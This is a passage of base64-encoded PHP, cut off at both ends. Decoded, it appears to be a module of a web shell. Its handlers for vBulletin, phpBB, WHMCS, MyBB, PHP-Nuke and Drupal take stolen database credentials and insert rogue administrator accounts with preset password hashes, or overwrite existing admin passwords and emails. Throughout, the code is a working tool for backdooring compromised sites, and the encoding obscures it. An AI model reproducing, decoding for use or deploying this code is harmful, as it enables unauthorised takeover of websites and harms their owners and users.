Rzb2xldmlzaWJsZT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJpbnNlcnQgaW50byB7JHByZWZpeH11c2VyICh1c2VyaWQsdXNlcmdyb3VwaWQsdXNlcm5hbWUsdG9rZW4sc2VjcmV0LGVtYWlsLHBhc3N3b3JkZGF0ZSxqb2luZGF0ZSxzY2hlbWUsYmlydGhkYXlfc2VhcmNoKSB2YWx1ZXMobnVsbCwnNicsJyRhZG1pbicsJ1wkMnlcJDEwXCRZc1ZoVi45dExuekJZeGFyMUJKQUdPM3ZGejY4L3FEVTdKdDYyU0RkTHk2bFVUOU41Wi93cScsJ1FmfkFEZUF9aUFleS0mI0FMUUY8fS91QkRxU253PicsJyRTUUwnLCciLmRhdGUoJ1ktbS1kJykuIicsJyIudGltZSgpLiInLCdibG93ZmlzaDoxMCcsJzE5ODQtMDUtMjAnKSIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKfQokc29sZXZpc2libGU9QG15c3FsaV9xdWVyeSgkY29ubiwic2VsZWN0IHVzZXJpZCBmcm9tIHskcHJlZml4fXVzZXIgd2hlcmUgdXNlcm5hbWU9JyIuJGFkbWluLiInIikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOwokc29sZSA9IG15c3FsaV9udW1fcm93cygkc29sZXZpc2libGUpOwppZigkc29sZSA9PSAxKXsKJHNvbGV2aXMgPSBteXNxbGlfZmV0Y2hfYXNzb2MoJHNvbGV2aXNpYmxlKTsKJHJlcyA9ICRzb2xldmlzWyd1c2VyaWQnXTsKfQokc29sZXZpc2libGU9QG15c3FsaV9xdWVyeSgkY29ubiwiaW5zZXJ0IGludG8geyRwcmVmaXh9YWRtaW5pc3RyYXRvciAodXNlcmlkLGFkbWlucGVybWlzc2lvbnMpIHZhbHVlcygnIi4kcmVzLiInLCciLiRhZG1fcGVybS4iJykiKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7CmlmKCRzb2xldmlzaWJsZSl7Cl9fYWxlcnQoJ1N1Y2Nlc3MuLi4gJy4kYWRtaW4uJyBpcyBjcmVhdGVkLi4uJyk7fQp9Cn0KaWYoaXNzZXQoJF9QT1NUWydhbGZhNSddKSAmJiAkX1BPU1RbJ2FsZmE1J10gPT0gJ3BocGJiJyl7CgplY2hvIF9fcHJlKCkuJzxjZW50ZXI+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgcGhwQkIgfDwvZGl2PjxwPjxwPicuZ2V0Q29uZmlnSHRtbCgncGhwYmInKS4nPC9wPjxmb3JtIG9uU3VibWl0PSJnKFwncHdjaGFuZ2VyXCcsbnVsbCxcJz4+XCcsdGhpcy5sb2NhbGhvc3QudmFsdWUsdGhpcy5kYXRhYmFzZS52YWx1ZSx0aGlzLnVzZXJuYW1lLnZhbHVlLFwncGhwYmJcJyx0aGlzLnBhc3N3b3JkLnZhbHVlLG51bGwsdGhpcy5hZG1pbi52YWx1ZSx0aGlzLmVtYWlsLnZhbHVlLHRoaXMucHJlZml4LnZhbHVlKTsgcmV0dXJuIGZhbHNlOyIgbWV0aG9kPSJQT1NUIj4nOwokdGFibGUgPSBhcnJheSgndGQxJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ015c3FsIEhvc3QnLCAnaWQnPT4nZGJfaG9zdCcsJ2lucHV0TmFtZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFZhbHVlJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQyJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIE5hbWUnLCAnaWQnPT4nZGJfbmFtZScsJ2lucHV0TmFtZScgPT4gJ2RhdGFiYXNlJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDMnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgVXNlcicsICdpZCc9PidkYl91c2VyJywnaW5wdXROYW1lJyA9PiAndXNlcm5hbWUnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNCcgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBQYXNzJywgJ2lkJz0+J2RiX3B3JywnaW5wdXROYW1lJyA9PiAncGFzc3dvcmQnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNScgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdUYWJsZSBQcmVmaXgnLCAnaWQnPT4nZGJfcHJlZml4JywnaW5wdXROYW1lJyA9PiAncHJlZml4JywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDYnID0+CiBhcnJheSgnY29sb3InID0+ICdGRjAwMDAnLCAndGROYW1lJyA9PiAnQWRtaW4gVXNlcicsICdpbnB1dE5hbWUnID0+ICdhZG1pbicsICdpbnB1dFZhbHVlJyA9PiAnYWRtaW4nLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDcnID0+CiBhcnJheSgnY29sb3InID0+ICdGRjAwMDAnLCAndGROYW1lJyA9PiAnQWRtaW4gUGFzcycsICdpbnB1dE5hbWUnID0+ICd0b2Z0b2YnLCAnaW5wdXRWYWx1ZScgPT4gJ3NvbGV2aXNpYmxlJywgJ2lucHV0U2l6ZScgPT4gJzUwJywgJ2Rpc2FibGVkJyA9PiB0cnVlKSwKICd0ZDgnID0+CiBhcnJheSgnY29sb3InID0+ICdGRjAwMDAnLCAndGROYW1lJyA9PiAnQWRtaW4gRW1haWwnLCAnaW5wdXROYW1lJyA9PiAnZW1haWwnLCAnaW5wdXRWYWx1ZScgPT4gJ3NvbGV2aXNpYmxlQGZiaS5nb3YnLCAnaW5wdXRTaXplJyA9PiAnNTAnKQopOwpjcmVhdGVfdGFibGUoJHRhYmxlKTsKZWNobyAnPHA+PGlucHV0IHZhbHVlPSIgIiBuYW1lPSJzZW5kIiB0eXBlPSJzdWJtaXQiPjwvcD48L2Zvcm0+PC9jZW50ZXI+JzsKaWYgKCRfUE9TVFsnYWxmYTEnXSAmJiAkX1BPU1RbJ2FsZmExJ10gPT0gJz4+Jyl7CiRsb2NhbGhvc3QgPSAkX1BPU1RbJ2FsZmEyJ107CiRkYXRhYmFzZSA9ICRfUE9TVFsnYWxmYTMnXTsKJHVzZXJuYW1lID0gJF9QT1NUWydhbGZhNCddOwokcGFzc3dvcmQgPSAkX1BPU1RbJ2FsZmE2J107CiRhZG1pbiA9ICRfUE9TVFsnYWxmYTgnXTsKJFNRTCA9ICRfUE9TVFsnYWxmYTknXTsKJHByZWZpeCA9ICRfUE9TVFsnYWxmYTEwJ107CiRjb25uPUBteXNxbGlfY29ubmVjdCgkbG9jYWxob3N0LCR1c2VybmFtZSwkcGFzc3dvcmQsJGRhdGFiYXNlKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7CiRoYXNoID0gbWQ1KCdzb2xldmlzaWJsZScpOwokc29sZXZpc2libGU9QG15c3FsaV9xdWVyeSgkY29ubiwiVVBEQVRFICIuJHByZWZpeC4idXNlcnMgU0VUIHVzZXJuYW1lX2NsZWFuID0nIi4kYWRtaW4uIicgV0hFUkUgdXNlcm5hbWVfY2xlYW4gPSAnYWRtaW4nIikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOwokc29sZXZpc2libGU9QG15c3FsaV9xdWVyeSgkY29ubiwiVVBEQVRFICIuJHByZWZpeC4idXNlcnMgU0VUIHVzZXJfcGFzc3dvcmQgPSciLiRoYXNoLiInIFdIRVJFIHVzZXJuYW1lX2NsZWFuID0gJ2FkbWluJyIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKJHNvbGV2aXNpYmxlPUBteXNxbGlfcXVlcnkoJGNvbm4sIlVQREFURSAiLiRwcmVmaXguInVzZXJzIFNFVCB1c2VybmFtZV9jbGVhbiA9JyIuJGFkbWluLiInIFdIRVJFIHVzZXJfdHlwZSA9IDMiKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7CiRzb2xldmlzaWJsZT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJVUERBVEUgIi4kcHJlZml4LiJ1c2VycyBTRVQgdXNlcl9wYXNzd29yZCA9JyIuJGhhc2guIicgV0hFUkUgdXNlcl90eXBlID0gMyIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKJHNvbGV2aXNpYmxlPUBteXNxbGlfcXVlcnkoJGNvbm4sIlVQREFURSAiLiRwcmVmaXguInVzZXJzIFNFVCB1c2VyX2VtYWlsID0nIi4kU1FMLiInIFdIRVJFIHVzZXJuYW1lX2NsZWFuID0gJ2FkbWluJyIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKaWYoJHNvbGV2aXNpYmxlKXsKX19hbGVydCgnU3VjY2Vzcy4uLiAnLiRhZG1pbi4nIGlzIGNyZWF0ZWQuLi4nKTsKfQp9Cn0KaWYoaXNzZXQoJF9QT1NUWydhbGZhNiddKSAmJiAkX1BPU1RbJ2FsZmE2J10gPT0gJ3dobWNzJyl7CgplY2hvIF9fcHJlKCkuJzxjZW50ZXI+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgV2htY3MgfDwvZGl2PjxwPjxwPicuZ2V0Q29uZmlnSHRtbCgnd2htY3MnKS4nPC9wPjxmb3JtIG9uU3VibWl0PSJnKFwncHdjaGFuZ2VyXCcsbnVsbCxcJz4+XCcsdGhpcy5sb2NhbGhvc3QudmFsdWUsdGhpcy5kYXRhYmFzZS52YWx1ZSx0aGlzLnVzZXJuYW1lLnZhbHVlLHRoaXMucGFzc3dvcmQudmFsdWUsXCd3aG1jc1wnLG51bGwsdGhpcy5hZG1pbi52YWx1ZSx0aGlzLmVtYWlsLnZhbHVlKTsgcmV0dXJuIGZhbHNlOyIgbWV0aG9kPSJQT1NUIj4nOwokdGFibGUgPSBhcnJheSgndGQxJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ015c3FsIEhvc3QnLCAnaWQnPT4nZGJfaG9zdCcsJ2lucHV0TmFtZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFZhbHVlJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQyJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIE5hbWUnLCAnaWQnPT4nZGJfbmFtZScsJ2lucHV0TmFtZScgPT4gJ2RhdGFiYXNlJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDMnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgVXNlcicsICdpZCc9PidkYl91c2VyJywnaW5wdXROYW1lJyA9PiAndXNlcm5hbWUnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNCcgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBQYXNzJywgJ2lkJz0+J2RiX3B3JywnaW5wdXROYW1lJyA9PiAncGFzc3dvcmQnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNicgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBVc2VyJywgJ2lucHV0TmFtZScgPT4gJ2FkbWluJywgJ2lucHV0VmFsdWUnID0+ICdhZG1pbicsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNycgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBQYXNzJywgJ2lucHV0TmFtZScgPT4gJ3RvZnRvZicsICdpbnB1dFZhbHVlJyA9PiAnc29sZXZpc2libGUnLCAnaW5wdXRTaXplJyA9PiAnNTAnLCAnZGlzYWJsZWQnID0+IHRydWUpLAogJ3RkOCcgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBFbWFpbCcsICdpbnB1dE5hbWUnID0+ICdlbWFpbCcsICdpbnB1dFZhbHVlJyA9PiAnc29sZXZpc2libGVAZmJpLmdvdicsICdpbnB1dFNpemUnID0+ICc1MCcpCik7CmNyZWF0ZV90YWJsZSgkdGFibGUpOwplY2hvICc8cD48aW5wdXQgdmFsdWU9IiAiIG5hbWU9InNlbmQiIHR5cGU9InN1Ym1pdCI+PC9wPjwvZm9ybT48L2NlbnRlcj4nOwppZiAoJF9QT1NUWydhbGZhMSddICYmICRfUE9TVFsnYWxmYTEnXSA9PSAnPj4nKXsKJGxvY2FsaG9zdCA9ICRfUE9TVFsnYWxmYTInXTsKJGRhdGFiYXNlID0gJF9QT1NUWydhbGZhMyddOwokdXNlcm5hbWUgPSAkX1BPU1RbJ2FsZmE0J107CiRwYXNzd29yZCA9ICRfUE9TVFsnYWxmYTUnXTsKJGFkbWluID0gJF9QT1NUWydhbGZhOCddOwokU1FMID0gJF9QT1NUWydhbGZhOSddOwokY29ubj1AbXlzcWxpX2Nvbm5lY3QoJGxvY2FsaG9zdCwkdXNlcm5hbWUsJHBhc3N3b3JkLCRkYXRhYmFzZSkgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOwokc29sZXZpc2libGU9QG15c3FsaV9xdWVyeSgkY29ubiwiaW5zZXJ0IGludG8gdGJsYWRtaW5zIChpZCxyb2xlaWQsdXNlcm5hbWUscGFzc3dvcmQsZW1haWwsdGVtcGxhdGUsaG9tZXdpZGdldHMpIHZhbHVlcyhudWxsLCcxJywnIi4kYWRtaW4uIicsJ2Q0YTU5MGNhYWNjMGJlNTVlZjI4NmU0MGE5NDVlYTQ1JywnIi4kU1FMLiInLCdibGVuZCcsJ2dldHRpbmdfc3RhcnRlZDp0cnVlLG9yZGVyc19vdmVydmlldzp0cnVlLHN1cHBvcnR0aWNrZXRzX292ZXJ2aWV3OnRydWUsbXlfbm90ZXM6dHJ1ZSxjbGllbnRfYWN0aXZpdHk6dHJ1ZSxvcGVuX2ludm9pY2VzOnRydWUsYWN0aXZpdHlfbG9nOnRydWV8aW5jb21lX292ZXJ2aWV3OnRydWUsc3lzdGVtX292ZXJ2aWV3OnRydWUsd2htY3NfbmV3czp0cnVlLHN5c2luZm86dHJ1ZSxhZG1pbl9hY3Rpdml0eTp0cnVlLHRvZG9fbGlzdDp0cnVlLG5ldHdvcmtfc3RhdHVzOnRydWUsaW5jb21lX2ZvcmVjYXN0OnRydWV8JykiKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7CmlmKCRzb2xldmlzaWJsZSl7Cl9fYWxlcnQoJ1N1Y2Nlc3MuLi4gJy4kYWRtaW4uJyBpcyBjcmVhdGVkLi4uJyk7fQp9Cn0KaWYoaXNzZXQoJF9QT1NUWydhbGZhNyddKSAmJiAkX1BPU1RbJ2FsZmE3J10gPT0gJ215YmInKXsKCmVjaG8gX19wcmUoKS4nPGNlbnRlcj48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBNeWJiIHw8L2Rpdj48cD48cD4nLmdldENvbmZpZ0h0bWwoJ215YmInKS4nPC9wPjxmb3JtIG9uc3VibWl0PSJnKFwncHdjaGFuZ2VyXCcsbnVsbCxcJz4+XCcsdGhpcy5sb2NhbGhvc3QudmFsdWUsdGhpcy5kYXRhYmFzZS52YWx1ZSx0aGlzLnVzZXJuYW1lLnZhbHVlLHRoaXMucGFzc3dvcmQudmFsdWUsbnVsbCxcJ215YmJcJyx0aGlzLmFkbWluLnZhbHVlLHRoaXMuZW1haWwudmFsdWUsdGhpcy5wcmVmaXgudmFsdWUpOyByZXR1cm4gZmFsc2U7IiBtZXRob2Q9IlBPU1QiPic7CiR0YWJsZSA9IGFycmF5KCd0ZDEnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnTXlzcWwgSG9zdCcsICdpZCc9PidkYl9ob3N0JywnaW5wdXROYW1lJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0VmFsdWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDInID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgTmFtZScsICdpZCc9PidkYl9uYW1lJywnaW5wdXROYW1lJyA9PiAnZGF0YWJhc2UnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkMycgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBVc2VyJywgJ2lkJz0+J2RiX3VzZXInLCdpbnB1dE5hbWUnID0+ICd1c2VybmFtZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ0JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIFBhc3MnLCAnaWQnPT4nZGJfcHcnLCdpbnB1dE5hbWUnID0+ICdwYXNzd29yZCcsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ1JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ1RhYmxlIFByZWZpeCcsICdpZCc9PidkYl9wcmVmaXgnLCdpbnB1dE5hbWUnID0+ICdwcmVmaXgnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNicgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBVc2VyJywgJ2lucHV0TmFtZScgPT4gJ2FkbWluJywgJ2lucHV0VmFsdWUnID0+ICdhZG1pbicsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNycgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBQYXNzJywgJ2lucHV0TmFtZScgPT4gJ3RvZnRvZicsICdpbnB1dFZhbHVlJyA9PiAnc29sZXZpc2libGUnLCAnaW5wdXRTaXplJyA9PiAnNTAnLCAnZGlzYWJsZWQnID0+IHRydWUpLAogJ3RkOCcgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBFbWFpbCcsICdpbnB1dE5hbWUnID0+ICdlbWFpbCcsICdpbnB1dFZhbHVlJyA9PiAnc29sZXZpc2libGVAZmJpLmdvdicsICdpbnB1dFNpemUnID0+ICc1MCcpCik7CmNyZWF0ZV90YWJsZSgkdGFibGUpOwplY2hvICc8cD48aW5wdXQgdmFsdWU9IiAiIG5hbWU9InNlbmQiIHR5cGU9InN1Ym1pdCI+PC9wPjwvZm9ybT48L2NlbnRlcj4nOwppZiAoJF9QT1NUWydhbGZhMSddICYmICRfUE9TVFsnYWxmYTEnXSA9PSAnPj4nKXsKJGxvY2FsaG9zdCA9ICRfUE9TVFsnYWxmYTInXTsKJGRhdGFiYXNlID0gJF9QT1NUWydhbGZhMyddOwokdXNlcm5hbWUgPSAkX1BPU1RbJ2FsZmE0J107CiRwYXNzd29yZCA9ICRfUE9TVFsnYWxmYTUnXTsKJGFkbWluID0gJF9QT1NUWydhbGZhOCddOwokU1FMID0gJF9QT1NUWydhbGZhOSddOwokcHJlZml4ID0gJF9QT1NUWydhbGZhMTAnXTsKJGNvbm49QG15c3FsaV9jb25uZWN0KCRsb2NhbGhvc3QsJHVzZXJuYW1lLCRwYXNzd29yZCwkZGF0YWJhc2UpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKJHNvbGV2aXNpYmxlPUBteXNxbGlfcXVlcnkoJGNvbm4sImluc2VydCBpbnRvICIuJHByZWZpeC4idXNlcnMgKHVpZCx1c2VybmFtZSxwYXNzd29yZCxzYWx0LGVtYWlsLHVzZXJncm91cCkgdmFsdWVzKG51bGwsJyIuJGFkbWluLiInLCdlNzFmMmMzMjY1NjE5MDM4ZDgyNmExYWM2ZTJiOWI4ZScsJ3l3emE2OGxTJywnIi4kU1FMLiInLCc0JykiKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7CmlmKCRzb2xldmlzaWJsZSl7Cl9fYWxlcnQoJ1N1Y2Nlc3MuLi4gJy4kYWRtaW4uJyBpcyBjcmVhdGVkLi4uJyk7fQp9Cn0KaWYoaXNzZXQoJF9QT1NUWydhbGZhOCddKSAmJiAkX1BPU1RbJ2FsZmE4J10gPT0gJ251a2UnKXsKCmVjaG8gX19wcmUoKS4nPGNlbnRlcj48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBQaHBOdWtlIHw8L2Rpdj48cD48cD4nLmdldENvbmZpZ0h0bWwoJ3BocG51a2UnKS4nPC9wPjxmb3JtIG9uc3VibWl0PSJnKFwncHdjaGFuZ2VyXCcsbnVsbCxcJz4+XCcsdGhpcy5sb2NhbGhvc3QudmFsdWUsdGhpcy5kYXRhYmFzZS52YWx1ZSx0aGlzLnVzZXJuYW1lLnZhbHVlLHRoaXMucGFzc3dvcmQudmFsdWUsbnVsbCx0aGlzLmFkbWluLnZhbHVlLFwnbnVrZVwnLHRoaXMuZW1haWwudmFsdWUsdGhpcy5wcmVmaXgudmFsdWUpOyByZXR1cm4gZmFsc2U7IiBtZXRob2Q9IlBPU1QiPic7CiR0YWJsZSA9IGFycmF5KCd0ZDEnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnTXlzcWwgSG9zdCcsICdpZCc9PidkYl9ob3N0JywnaW5wdXROYW1lJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0VmFsdWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDInID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgTmFtZScsICdpZCc9PidkYl9uYW1lJywnaW5wdXROYW1lJyA9PiAnZGF0YWJhc2UnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkMycgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBVc2VyJywgJ2lkJz0+J2RiX3VzZXInLCdpbnB1dE5hbWUnID0+ICd1c2VybmFtZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ0JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIFBhc3MnLCAnaWQnPT4nZGJfcHcnLCdpbnB1dE5hbWUnID0+ICdwYXNzd29yZCcsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ1JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ1RhYmxlIFByZWZpeCcsICdpZCc9PidkYl9wcmVmaXgnLCdpbnB1dE5hbWUnID0+ICdwcmVmaXgnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNicgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBVc2VyJywgJ2lucHV0TmFtZScgPT4gJ2FkbWluJywgJ2lucHV0VmFsdWUnID0+ICdhZG1pbicsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNycgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBQYXNzJywgJ2lucHV0TmFtZScgPT4gJ3RvZnRvZicsICdpbnB1dFZhbHVlJyA9PiAnc29sZXZpc2libGUnLCAnaW5wdXRTaXplJyA9PiAnNTAnLCAnZGlzYWJsZWQnID0+IHRydWUpLAogJ3RkOCcgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBFbWFpbCcsICdpbnB1dE5hbWUnID0+ICdlbWFpbCcsICdpbnB1dFZhbHVlJyA9PiAnc29sZXZpc2libGVAZmJpLmdvdicsICdpbnB1dFNpemUnID0+ICc1MCcpCik7CmNyZWF0ZV90YWJsZSgkdGFibGUpOwplY2hvICc8cD48aW5wdXQgdmFsdWU9IiAiIG5hbWU9InNlbmQiIHR5cGU9InN1Ym1pdCI+PC9wPjwvZm9ybT48L2NlbnRlcj4nOwppZiAoJF9QT1NUWydhbGZhMSddICYmICRfUE9TVFsnYWxmYTEnXSA9PSAnPj4nKXsKJGxvY2FsaG9zdCA9ICRfUE9TVFsnYWxmYTInXTsKJGRhdGFiYXNlID0gJF9QT1NUWydhbGZhMyddOwokdXNlcm5hbWUgPSAkX1BPU1RbJ2FsZmE0J107CiRwYXNzd29yZCA9ICRfUE9TVFsnYWxmYTUnXTsKJGFkbWluID0gJF9QT1NUWydhbGZhNyddOwokU1FMID0gJF9QT1NUWydhbGZhOSddOwokcHJlZml4ID0gJF9QT1NUWydhbGZhMTAnXTsKJGNvbm49QG15c3FsaV9jb25uZWN0KCRsb2NhbGhvc3QsJHVzZXJuYW1lLCRwYXNzd29yZCwkZGF0YWJhc2UpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKJGhhc2ggPSBtZDUoJHB3ZCk7CiRzb2xldmlzaWJsZT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJpbnNlcnQgaW50byAiLiRwcmVmaXguIl9hdXRob3JzKGFpZCxuYW1lLGVtYWlsLHB3ZCkgdmFsdWVzKCckYWRtaW4nLCdHb2QnLCckU1FMJywnZDRhNTkwY2FhY2MwYmU1NWVmMjg2ZTQwYTk0NWVhNDUnKSIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKaWYoJHNvbGV2aXNpYmxlKXsKX19hbGVydCgnU3VjY2Vzcy4uLiAnLiRhZG1pbi4nIGlzIGNyZWF0ZWQuLi4nKTt9Cn0KfQppZihpc3NldCgkX1BPU1RbJ2FsZmE5J10pICYmICRfUE9TVFsnYWxmYTknXSA9PSAnZHJ1cGFsJyl7CgplY2hvIF9fcHJlKCkuJzxjZW50ZXI+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgRHJ1cGFsIHw8L2Rpdj48cD48cD4nLmdldENvbmZpZ0h0bWwoJ2RydXBhbCcpLic8L3A+PGZvcm0gb25TdWJtaXQ9ImcoXCdwd2NoYW5nZXJcJyxudWxsLFwnPj5cJyx0aGlzLmxvY2FsaG9zdC52YWx1ZSxudWxsLHRoaXMuZGF0YWJhc2UudmFsdWUsdGhpcy51c2VybmFtZS52YWx1ZSx0aGlzLnBhc3N3b3JkLnZhbHVlLG51bGwsdGhpcy5hZG1pbi52YWx1ZSxcJ2RydXBhbFwnKTsgcmV0dXJuIGZhbHNlOyIgbWV0aG9kPSJQT1NUIj4nOwokdGFibGUgPSBhcnJheSgndGQxJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ015c3FsIEhvc3QnLCAnaWQnPT4nZGJfaG9zdCcsJ2lucHV0TmFtZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFZhbHVlJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQyJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIE5hbWUnLCAnaWQnPT4nZGJfbmFtZScsJ2lucHV0TmFtZScgPT4gJ2RhdGFiYXNlJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDMnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgVXNlcicsICdpZCc9PidkYl91c2VyJywnaW5wdXROYW1lJyA9PiAndXNlcm5hbWUnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNCcgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBQYXNzJywgJ2lkJz0+J2RiX3B3JywnaW5wdXROYW1lJyA9PiAncGFzc3dvcmQnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNicgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBVc2VyJywgJ2lucHV0T